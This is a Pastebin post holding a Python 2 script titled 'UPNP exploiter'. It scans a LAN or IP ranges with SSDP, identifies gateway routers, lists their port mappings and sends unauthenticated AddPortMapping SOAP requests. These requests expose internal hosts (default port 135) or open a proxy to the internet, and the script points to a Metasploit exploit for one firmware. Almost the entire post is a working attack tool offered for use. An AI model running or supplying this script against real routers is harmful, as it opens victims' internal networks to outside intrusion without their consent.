Advertisement
_c0mrad

[Expl] upnp

Oct 26th, 2016
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.17 KB | None | 0 0
  1. #!/bin/python
  2. import urllib2, re, sys, select, socket
  3.  
  4. ###
  5. # Some static info
  6. ##
  7. tport = 49170;
  8. upnport = 1900;
  9. msg = "M-SEARCH * HTTP/1.1\r\nHOST: 255.255.255.250:1900\r\nST: ssdp:all\r\nMAN: \"ssdp:discover\"\r\nMX: 1\r\n\r\n";
  10.  
  11. ###
  12. # Used to ping one target.
  13. ###
  14. def target():
  15.  data = []
  16.  try:
  17.   tar = sys.argv[2];
  18.   if sys.argv[2].find("*") != -1:
  19.    star = sys.argv[2].split(".*");
  20.    i = 1;
  21.    while i < 255:
  22.     tar = star[0]+"."+str(i)
  23.     print "Sending UPNP packets to "+tar;
  24.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);
  25.     s.bind(("", tport));
  26.     s.sendto(msg, (tar, upnport));
  27.     i += 1;
  28.   else:
  29.    print "Sending UPNP packets to "+tar;
  30.    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);
  31.    s.bind(("", tport));
  32.    s.sendto(msg, (tar, upnport));
  33.   print "Waiting for data";
  34.   print "Press Ctrl+c at anytime to stop capture";
  35.   while True:
  36.    string, addr = s.recvfrom(1024);
  37.    data.append([addr[0], string]);
  38.    print "Got some data";
  39.  except KeyboardInterrupt:
  40.   s.close();
  41.   proc(data);
  42.  
  43. ###
  44. # Used to ping lan
  45. ###
  46. def lan():
  47.  #data = "";
  48.  data = [];
  49.  try:
  50.   print "Sending broadcast UPNP packets to lan";
  51.   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);
  52.   s.bind(("", tport));
  53.   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1);
  54.   s.sendto(msg, ("239.255.255.250", 1900));
  55.   print "Waiting for data";
  56.   print "Press Ctrl+c at anytime to stop capture";
  57.   while True:
  58.    res = select.select([s],[],[]);
  59.    string, addr = res[0][0].recvfrom(1024);
  60.    #data += string;
  61.    data.append([addr[0], string]);
  62.    print "Got some data";
  63.  except KeyboardInterrupt:
  64.   s.close();
  65.   proc(data);
  66.  
  67. ###
  68. # open ports on routers
  69. ###
  70. def sploit(host):
  71.  #print host;
  72.  #exit(1);
  73.  print "LOL you are evil";
  74.  rhost = re.findall("([^/]+)", host);
  75.  print "Well here goes nothing...";
  76.  print "Trying to get some info from the target...";
  77.  try:
  78.   res = urllib2.urlopen(host).read();
  79.   res = res.replace("\r", "");
  80.   res = res.replace("\n", "");
  81.   res = res.replace("\t", "");
  82.   pres = res.split("<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>");
  83.   p2res = pres[1].split("</controlURL>");
  84.   p3res = p2res[0].split("<controlURL>");
  85.   ctrl = p3res[1];
  86.   rip = res.split("<presentationURL>");
  87.   rip1 = rip[1].split("</presentationURL>");
  88.   routerIP = rip1[0];
  89.   print "Router internal IP: "+routerIP;
  90.   print "Ports already open:";
  91.   print "INT:EXT:ADDR:Desc";
  92.   i=1;
  93.   try:
  94.    while True:
  95.     opmsg = '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetGenericPortMappingEntry xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingIndex>'+str(i)+'</NewPortMappingIndex></u:GetGenericPortMappingEntry></s:Body></s:Envelope>';
  96.     open_ports = urllib2.Request("http://"+rhost[1]+""+ctrl, opmsg);
  97.     open_ports.add_header("SOAPACTION", '"urn:schemas-upnp-org:service:WANIPConnection:1#GetGenericPortMappingEntry"');
  98.     open_ports.add_header('Content-type', 'application/xml');
  99.     open_res = urllib2.urlopen(open_ports).read();
  100.     int1 = open_res.split('<NewInternalPort>');
  101.     int2 = int1[1].split('</NewInternalPort>');
  102.     intport = int2[0];
  103.     ext1 = open_res.split('<NewExternalPort>');
  104.     ext2 = ext1[1].split('</NewExternalPort>');
  105.     extport = ext2[0];
  106.     addr = open_res.split('<NewInternalClient>');
  107.     addr1 = addr[1].split('</NewInternalClient>');
  108.     address = addr1[0];
  109.     des = open_res.split('<NewPortMappingDescription>');
  110.     des1 = des[1].split('</NewPortMappingDescription>');
  111.     desc = des1[0];
  112.     print intport+":"+extport+":"+address+":"+desc
  113.     i=i+1;
  114.   except Exception, e:
  115.    err=""
  116.  except Exception, e:
  117.   #print e;
  118.   print "Failed to get anything from the target :/"
  119.  IP = raw_input("IP of internal host to forward posts to: [192.168.1.100] ");
  120.  if IP == "":
  121.   IP = "192.168.1.100";
  122.  port = raw_input("Port of internal host you want to forward to the net: [135] ");
  123.  if port == "":
  124.   port = "135";
  125.  extport = raw_input("External port: [135] ");
  126.  if extport == "":
  127.   extport = "135";
  128.  msg = '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>'+extport+'</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>'+port+'</NewInternalPort><NewInternalClient>'+IP+'</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>hax0r</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>';
  129.  try:
  130.   req = urllib2.Request("http://"+rhost[1]+""+ctrl, msg);
  131.   req.add_header('SOAPAction', '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"');
  132.   req.add_header('Content-type', 'application/xml');
  133.   res = urllib2.urlopen(req);
  134.   print "HOLY SHIT IT WORKED!!!";
  135.  except Exception, e:
  136.   print e;
  137.   print "Shit it didnt work y0 :/";
  138.  
  139. ###
  140. # here we try to set up a proxy
  141. ###
  142. def proxy(host):
  143.  try:
  144.   print "LOL you are evil";
  145.   rhost = re.findall("([^/]+)", host);
  146.   print "Well here goes nothing...";
  147.   res = urllib2.urlopen(host).read();
  148.   res = res.replace("\r", "");
  149.   res = res.replace("\n", "");
  150.   res = res.replace("\t", "");
  151.   pres = res.split("<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>");
  152.   p2res = pres[1].split("</controlURL>");
  153.   p3res = p2res[0].split("<controlURL>");
  154.   ctrl = p3res[1];
  155.   IP = raw_input("IP the proxy connects to: [192.168.1.100] ");
  156.   if IP == "":
  157.    IP = "192.168.1.100";
  158.   extport = raw_input("External port: [8080] ");
  159.   if extport == "":
  160.    extport = "8080";
  161.   msg = '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>'+extport+'</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>80</NewInternalPort><NewInternalClient>'+IP+'</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>hax0r</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>';
  162.   req = urllib2.Request("http://"+rhost[1]+""+ctrl, msg);
  163.   req.add_header('SOAPAction', '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"');
  164.   req.add_header('Content-type', 'application/xml');
  165.   try:
  166.    res = urllib2.urlopen(req);
  167.    print "HOLY SHIT IT WORKED!!!";
  168.   except Exception, e:
  169.    print e;
  170.    print "Shit it didnt work y0 :/";
  171.  except Exception, e:
  172.   print e;
  173.  
  174.  
  175. ###
  176. # here we pick our attack
  177. ###
  178. def choose(host):
  179.  print "1) Open ports.";
  180.  print "2) Open proxy.";
  181.  meth = raw_input("Which attack you wanna do?: [1] ");
  182.  if meth == "1":
  183.   sploit(host);
  184.  if meth == "2":
  185.   proxy(host);
  186.  if meth == "":
  187.   sploit(host);
  188.  
  189. ###
  190. # Proccess data from lan or target
  191. ###
  192. def proc(data):
  193.  if len(data) == 0:
  194.   done("");
  195.  print "\r\nWorking with the data we got...";
  196.  pdata = dict((x[0], x) for x in data).values()
  197.  rh = [];
  198.  for L in pdata:
  199.   rh.append(L[0]);
  200.  hosts = [];
  201.  pd = [];
  202.  print "Making a few connections...";
  203.  for host in rh:
  204.   try:
  205.    spot = rh.index(host);
  206.    hdata = pdata[spot][1];
  207.    url = "http://"+host+":";
  208.    port = re.findall("http:\/\/[0-9\.]+:(\d.+)", hdata);
  209.    url += port[0];
  210.    p = urllib2.urlopen(url, timeout=3);
  211.    rd = re.findall("schemas-upnp-org:device:([^:]+)", p.read());
  212.    if rd[0] == "InternetGatewayDevice":
  213.     addr = re.findall("http://([^:]+)", url);
  214.     vuln = "Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1";
  215.     if hdata.find(vuln) != -1:
  216.      d = raw_input(addr[0]+" might be open to the unique_service_name() exploit, open msf and give it a go. For more information goto this URL - http://www.osvdb.org/show/osvdb/89611 Press enter to continue.");
  217.     #yesnosploit = raw_input(addr[0]+" is a router, do you want to try to open ports? (Y)es/(N)o: ");
  218.     yesnosploit = raw_input(addr[0]+" is a router/modem, do you want to try to exploit is?: (Y)es/(n)o ");
  219.     if yesnosploit.lower() == "y":
  220.      choose(url);
  221.     if yesnosploit == "":
  222.      choose(url);
  223.    pd.append([url, rd[0]]);
  224.   except:
  225.    err = "";
  226.    pd.append([url, "Could not connect..."]);
  227.  done(pd);
  228.  
  229. ###
  230. # This func displays info we got
  231. ###
  232. def done(data):
  233.  if len(data) == 0:
  234.   print "\r\nNo UPNP supported devices found :(";
  235.   ###
  236.   # Welcome msg
  237.   ###
  238.   print "";
  239.   print "##########################";
  240.   print "# UPNP exploiter         #";
  241.   print "# By: Anarchy Angel      #";
  242.   print "# www.dc414.org          #";
  243.   print "# Happy hacking :)       #";
  244.   print "##########################";
  245.   exit(1);
  246.  for info in data:
  247. #  if sys.argv[1] == "target":
  248. #   port = re.findall("([^:]+)", info[0]);
  249. #   path = re.findall("([^/]+)", info[0]);
  250. #   print "Device UPNP info page: http://"+sys.argv[2]+":"+port[2];
  251. #  else:
  252. #   print "Device UPNP info page: "+info[0];
  253.   print "Device UPNP info page: "+info[0];
  254.   print "Device type: "+info[1]+"\r\n";
  255.  print "Done!";
  256.  print "";
  257.  ###
  258.  # Welcome msg
  259.  ###
  260.  print "##########################";
  261.  print "# UPNP exploiter         #";
  262.  print "# By: Anarchy Angel      #";
  263.  print "# www.dc414.org          #";
  264.  print "# Happy hacking :)       #";
  265.  print "##########################";
  266.  exit(1);
  267.  
  268. ###
  269. # display usage
  270. ###
  271. def usage():
  272.  ###
  273.  # Welcome msg
  274.  ###
  275.  print "##########################";
  276.  print "# UPNP exploiter         #";
  277.  print "# By: Anarchy Angel      #";
  278.  print "# www.dc414.org          #";
  279.  print "# Happy hacking :)       #";
  280.  print "##########################";
  281.  print "";
  282.  print "upnp.py type ip";
  283.  print "Types: lan/target";
  284.  print "IP is only needed is using type target";
  285.  print "scan ip range using *";
  286.  print "i.e: python upnp.py target 123.456.789.*";
  287.  print "Many thanks to Ngharo for all his help making this script";
  288.  exit(1);
  289.  
  290. ###
  291. # parse argv and direct to right func
  292. ###
  293. if len(sys.argv) == 1:
  294.  usage();
  295. elif sys.argv[1] == "lan":
  296.  lan();
  297. elif sys.argv[1] == "target":
  298.  target();
  299. else:
  300.  usage();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement